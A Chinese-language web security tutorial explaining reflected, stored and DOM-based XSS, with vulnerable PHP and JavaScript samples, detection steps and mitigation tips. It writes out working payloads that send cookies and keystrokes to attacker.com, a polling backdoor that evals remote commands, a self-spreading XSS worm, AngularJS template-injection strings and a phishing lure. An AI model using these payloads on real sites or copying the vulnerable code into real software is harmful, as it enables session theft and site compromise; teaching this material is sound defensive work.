1. XSS分类概述
根据XSS漏洞的产生原理和攻击方式,XSS可以分为三大类型:反射型XSS、存储型XSS和DOM型XSS。这三种类型虽然都是XSS攻击,但它们的工作机制、危害程度和利用难度都有所不同。
分类依据
XSS的分类主要基于以下两个维度:
- 数据流向:恶意代码是如何到达受害者浏览器的
- 存储位置:恶意代码是否被持久化存储
快速区分三种类型:
- 反射型:恶意代码在URL中,点击链接立即触发,不存储
- 存储型:恶意代码存储在服务器(数据库),每次访问都触发
- DOM型:恶意代码在客户端处理,不经过服务器
2. 反射型XSS(Reflected XSS)
2.1 工作原理
反射型XSS,也称为非持久型XSS,是最常见的XSS类型。攻击代码通过URL参数、表单提交等方式发送到服务器,服务器将这些数据"反射"回浏览器并渲染,从而导致恶意脚本执行。
2.2 典型场景
反射型XSS最常见于以下功能:
- 搜索功能(搜索关键词回显)
- 错误提示页面(显示错误参数)
- 跳转页面(显示来源URL)
- 表单验证失败提示(回显用户输入)
2.3 代码示例
存在漏洞的搜索功能
<?php
// 搜索页面 search.php
$keyword = $_GET['q'];
?>
<!DOCTYPE html>
<html>
<head>
<title>搜索结果</title>
</head>
<body>
<h1>搜索: <?php echo $keyword; ?></h1>
<!-- 如果$keyword包含恶意脚本,这里会直接执行 -->
<p>未找到相关结果</p>
</body>
</html>
攻击示例
<!-- 正常URL -->
http://example.com/search.php?q=hello
<!-- 恶意URL -->
http://example.com/search.php?q=<script>alert(document.cookie)</script>
<!-- 更隐蔽的攻击 -->
http://example.com/search.php?q=<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">
<!-- URL编码后的攻击(绕过简单过滤)-->
http://example.com/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
2.4 实战案例:错误页面XSS
<?php
// error.php - 存在漏洞的错误页面
$message = $_GET['msg'];
?>
<!DOCTYPE html>
<html>
<body>
<h1>错误</h1>
<p style="color: red;"><?php echo $message; ?></p>
<a href="javascript:history.back()">返回</a>
</body>
</html>
<!-- 攻击URL -->
http://example.com/error.php?msg=<script>
// 窃取Cookie并重定向
var c = document.cookie;
window.location='http://attacker.com/steal.php?data='+encodeURIComponent(c);
</script>
2.5 反射型XSS的特点
- ✓ 需要诱导:必须诱使受害者点击恶意链接
- ✓ 非持久性:不会保存到数据库,只影响当前请求
- ✓ 传播方式:通过邮件、社交媒体、聊天工具等分享恶意链接
- ✓ 检测相对容易:查看URL即可发现异常
- ✗ 影响范围有限:只影响点击链接的用户
社会工程学配合
攻击者通常会使用URL缩短服务(如bit.ly)隐藏恶意URL,或者通过钓鱼邮件诱导用户点击。例如:
"您的账户存在异常,请点击以下链接立即验证:http://bit.ly/xxxxx"
3. 存储型XSS(Stored XSS)
3.1 工作原理
存储型XSS,也称为持久型XSS,是危害最大的XSS类型。攻击者将恶意脚本提交到服务器并存储在数据库中,之后每个访问相关页面的用户都会受到攻击。
3.2 典型场景
- 用户评论系统
- 论坛帖子和回复
- 用户资料(昵称、签名、个人简介等)
- 博客文章
- 留言板
- 私信系统
- 商品评价
3.3 代码示例
存在漏洞的评论系统
<?php
// 保存评论 - save_comment.php
if($_POST['comment']) {
$comment = $_POST['comment'];
$user_id = $_SESSION['user_id'];
// 直接存储,未做任何过滤!
$stmt = $pdo->prepare("INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())");
$stmt->execute([$user_id, $comment]);
header("Location: article.php?id=" . $_POST['article_id']);
}
// 显示评论 - article.php
$comments = $pdo->query("SELECT * FROM comments WHERE article_id = " . $_GET['id']);
?>
<div class="comments">
<?php foreach($comments as $comment): ?>
<div class="comment">
<!-- 直接输出,未做HTML转义! -->
<p><?php echo $comment['content']; ?></p>
</div>
<?php endforeach; ?>
</div>
攻击Payload
// 攻击者发表以下评论:
// 1. Cookie窃取
<script>
fetch('http://attacker.com/steal.php?cookie=' + document.cookie);
</script>
// 2. 键盘记录器
<script>
document.addEventListener('keypress', function(e) {
var img = new Image();
img.src = 'http://attacker.com/keylog.php?key=' + e.key;
});
</script>
// 3. 页面重定向
<script>
setTimeout(function() {
window.location.href = 'http://malicious-site.com';
}, 5000);
</script>
// 4. 隐蔽的后门
<img src=x style="display:none" onerror="
setInterval(function(){
fetch('http://attacker.com/cmd.php')
.then(r=>r.text())
.then(cmd=>eval(cmd));
}, 30000);
">
3.4 高级攻击:用户资料XSS
<?php
// profile.php - 用户资料页面
$user = getUserById($_GET['id']);
?>
<div class="profile">
<h2><?php echo $user['nickname']; ?></h2>
<p>签名:<?php echo $user['signature']; ?></p>
<p>个人简介:<?php echo $user['bio']; ?></p>
</div>
<!-- 攻击者在个人资料中输入: -->
<!-- 昵称: 正常用户名 -->
<!-- 签名: <script src="https://attacker.com/xss.js"></script> -->
<!-- 简介: <img src=x onerror="eval(atob('恶意代码的base64编码'))"> -->
3.5 存储型XSS蠕虫
存储型XSS最可怕的利用方式是创建自我复制的蠕虫。以下是一个简化的示例:
// XSS蠕虫示例(简化版)
<script>
(function() {
// 恶意Payload
var payload = '<script src="http://attacker.com/worm.js"></scr' + 'ipt>';
// 自动发表评论,传播蠕虫
var xhr = new XMLHttpRequest();
xhr.open('POST', '/api/comment', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('content=' + encodeURIComponent(payload));
// 窃取Cookie
new Image().src = 'http://attacker.com/steal?c=' + document.cookie;
})();
</script>
2005年MySpace Samy蠕虫
这是历史上最著名的XSS蠕虫案例。Samy Kamkar利用MySpace的存储型XSS漏洞,创建了一个自我传播的蠕虫。该蠕虫会:
- 自动将访问者添加为Samy的好友
- 在访问者的个人资料中添加"but most of all, Samy is my hero"
- 将蠕虫代码复制到访问者的资料页
短短20小时内,Samy获得了超过100万好友,最终导致MySpace服务器崩溃。
3.6 存储型XSS的特点
- ✓ 持久性:存储在服务器,长期有效
- ✓ 自动触发:无需用户交互,访问即中招
- ✓ 影响范围广:所有访问者都会受到攻击
- ✓ 危害最大:可以窃取管理员Cookie、蠕虫传播等
- ✗ 难以发现:可能长期潜伏
- ✗ 清除困难:需要清理数据库
4. DOM型XSS(DOM-based XSS)
4.1 工作原理
DOM型XSS是一种特殊的XSS类型,其特点是整个攻击过程在客户端完成,不经过服务器。恶意代码通过修改页面的DOM环境来执行,服务器响应中不包含恶意脚本,因此服务器端的XSS防护无法检测到。
什么是DOM?
DOM(Document Object Model,文档对象模型)是浏览器对HTML文档的内部表示。JavaScript可以通过DOM API来读取和修改页面内容。
4.2 常见的DOM XSS源和汇
危险的Source(数据来源)
// URL相关
window.location.href
window.location.search
window.location.hash
document.URL
document.documentURI
document.baseURI
// 引用来源
document.referrer
// 其他
window.name
localStorage
sessionStorage
危险的Sink(执行点)
// HTML修改
element.innerHTML
element.outerHTML
document.write()
document.writeln()
// JavaScript执行
eval()
setTimeout()
setInterval()
Function()
// URL跳转
location.href
location.assign()
window.open()
// 脚本加载
script.src
script.text
script.textContent
4.3 代码示例
示例1:innerHTML导致的DOM XSS
<!DOCTYPE html>
<html>
<body>
<div id="welcome"></div>
<script>
// 从URL获取name参数
var name = new URLSearchParams(window.location.search).get('name');
// 危险!直接将用户输入插入到innerHTML
document.getElementById('welcome').innerHTML = 'Welcome, ' + name;
</script>
</body>
</html>
<!-- 攻击URL -->
http://example.com/welcome.html?name=<img src=x onerror=alert(document.cookie)>
示例2:eval()导致的DOM XSS
// 获取URL中的lang参数来切换语言
var lang = new URLSearchParams(window.location.search).get('lang');
// 危险!使用eval执行
if(lang) {
eval('switchLanguage("' + lang + '")');
}
// 攻击URL
// http://example.com/?lang=");alert(document.cookie);//
示例3:location.hash导致的DOM XSS
// 根据URL hash显示对应内容
var section = location.hash.substring(1);
document.getElementById('content').innerHTML =
'<h2>' + section + '</h2>';
// 攻击URL
// http://example.com/#<img src=x onerror=alert(1)>
示例4:jQuery导致的DOM XSS
// 使用jQuery的html()方法
var input = location.hash.substring(1);
$('#output').html(input);
// 或者使用选择器
var id = location.hash.substring(1);
$(id).show();
// 攻击URL(针对选择器)
// http://example.com/#<img src=x onerror=alert(1)>
4.4 高级DOM XSS:AngularJS模板注入
<!-- AngularJS应用 -->
<div ng-app>
<div ng-bind-html="userInput"></div>
</div>
<script>
// 从URL获取输入
var input = location.search.substring(3);
angular.element(document.querySelector('[ng-bind-html]'))
.scope().$apply(function($scope) {
$scope.userInput = input;
});
</script>
<!-- 攻击Payload -->
?q={{constructor.constructor('alert(1)')()}}
?q={{$on.constructor('alert(1)')()}}
?q={{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
4.5 DOM型XSS的特点
- ✓ 完全在客户端:不经过服务器,服务器日志中不会出现
- ✓ 绕过服务器防护:WAF、输入过滤等服务器端防护无效
- ✓ 难以检测:需要分析JavaScript代码
- ✓ 现代框架常见:SPA应用中更容易出现
- ✗ 需要代码审计:自动化扫描器难以发现
防护建议
DOM型XSS的防护重点在客户端:
- 避免使用innerHTML、document.write等危险方法
- 使用textContent代替innerHTML(如果只需要文本)
- 对用户输入进行严格的白名单验证
- 使用框架提供的安全方法(如React的JSX自动转义)
- 使用CSP(Content Security Policy)限制脚本执行
5. 三种类型对比
| 特性 | 反射型XSS | 存储型XSS | DOM型XSS |
|---|---|---|---|
| 数据存储 | 不存储 | 存储在服务器 | 不存储 |
| 触发方式 | 点击恶意链接 | 访问包含恶意数据的页面 | 访问特定URL |
| 影响范围 | 点击链接的用户 | 所有访问者 | 点击链接的用户 |
| 持久性 | 非持久 | 持久 | 非持久 |
| 服务器参与 | 是 | 是 | 否 |
| 检测难度 | 容易 | 中等 | 困难 |
| 危害程度 | 中等 | 高 | 中等 |
| 利用难度 | 需要社会工程学 | 相对容易 | 需要JavaScript知识 |
| 典型场景 | 搜索框、错误页面 | 评论、论坛、资料 | 单页应用、客户端路由 |
| 服务器日志 | 有记录 | 有记录 | 可能无记录 |
6. 如何检测不同类型的XSS
6.1 反射型XSS检测
// 基础测试Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
// 检测步骤:
// 1. 找到所有接受用户输入的参数
// 2. 依次插入测试Payload
// 3. 观察响应中是否包含未转义的Payload
// 4. 检查浏览器是否执行了脚本
6.2 存储型XSS检测
// 带标识的Payload,便于追踪
<script>alert('XSS-20250123-001')</script>
<img src=x onerror="console.log('XSS-STORED-001')">
// 检测步骤:
// 1. 在表单、评论等处提交测试Payload
// 2. 访问可能显示该数据的所有页面
// 3. 检查是否触发脚本执行
// 4. 检查不同用户权限下的访问情况(普通用户、管理员)
6.3 DOM型XSS检测
// DOM XSS测试Payload
#<img src=x onerror=alert('DOM-XSS')>
?param=<img src=x onerror=alert(1)>
// 检测步骤:
// 1. 审查JavaScript代码,查找危险的Source和Sink
// 2. 通过URL参数、Hash等注入测试Payload
// 3. 使用浏览器开发者工具监控DOM变化
// 4. 使用DOM XSS专用扫描器(如DOMinator)
6.4 自动化扫描工具
- Burp Suite:专业的Web安全测试工具,包含XSS检测模块
- OWASP ZAP:开源的Web应用安全扫描器
- XSStrike:专门用于XSS检测的Python工具
- DOMinator:专注于DOM型XSS的检测工具
7. 总结
本文详细介绍了XSS的三大类型:反射型、存储型和DOM型。每种类型都有其独特的特点和利用方式:
- 反射型XSS:最常见,通过恶意链接触发,影响点击链接的用户
- 存储型XSS:危害最大,持久化存储,影响所有访问者,可能形成蠕虫
- DOM型XSS:完全在客户端执行,绕过服务器防护,在现代Web应用中越来越常见